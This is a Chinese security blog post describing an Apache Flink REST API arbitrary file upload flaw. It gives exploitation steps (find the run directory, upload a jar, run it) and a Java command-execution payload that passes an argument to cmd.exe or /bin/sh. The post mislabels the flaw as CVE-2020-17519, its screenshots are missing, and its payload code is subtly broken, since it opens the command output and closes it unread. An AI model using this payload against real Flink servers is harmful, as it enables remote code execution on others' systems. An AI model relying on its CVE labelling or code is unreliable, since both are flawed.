Apache Flink任意文件上传(CVE-2020-17519)


1 简介

Apache Flink 是一个在无界和有界数据流上进行状态计算的框架和分布式处理引擎。 Flink 已经可以在所有常见的集群环境中运行,并以 in-memory 的速度和任意的规模进行计算。

2 漏洞描述

Flink 1.5.1版本中引入了REST API,该漏洞允许攻击者通过构造恶意的HTTP header,将上传的文件写入到本地文件系统上的任意位置

3 影响范围

1.5.1 – 1.11.2

4 页面特征

5 漏洞利用

5.1 一般思路

  1. 获取Flink运行目录
  2. 制作jar包并上传
  3. 运行jar包

5.2 实例

在Job Manager标签下,如图:

或直接请求/jobmanager/config,如图:

调用系统命令的java代码:

import java.io.File;
import java.util.Scanner;

public class Execute {
    public Execute() {
    }

    public static void main(String[] args) throws Exception {
        String o = "";
        String cmd = args[0];
        ProcessBuilder p;
        if (System.getProperty("os.name").toLowerCase().contains("win")) {
            p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
        } else {
            String pty = "/bin/sh";
            if ((new File("/bin/bash")).exists()) {
                pty = "/bin/bash";
            }
            p = new ProcessBuilder(new String[]{pty, "-c", cmd});
        }

        Process s = p.start();
        Scanner c = (new Scanner(s.getInputStream())).useDelimiter("\\A");
        c.close();
    }
}

6 参考

https://mp.weixin.qq.com/s/SoWFn4x67_oZMKyx6uRgGw
https://nosec.org/home/detail/4639.html

声明:Hack All Sec的博客|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - Apache Flink任意文件上传(CVE-2020-17519)


Hacker perspective for security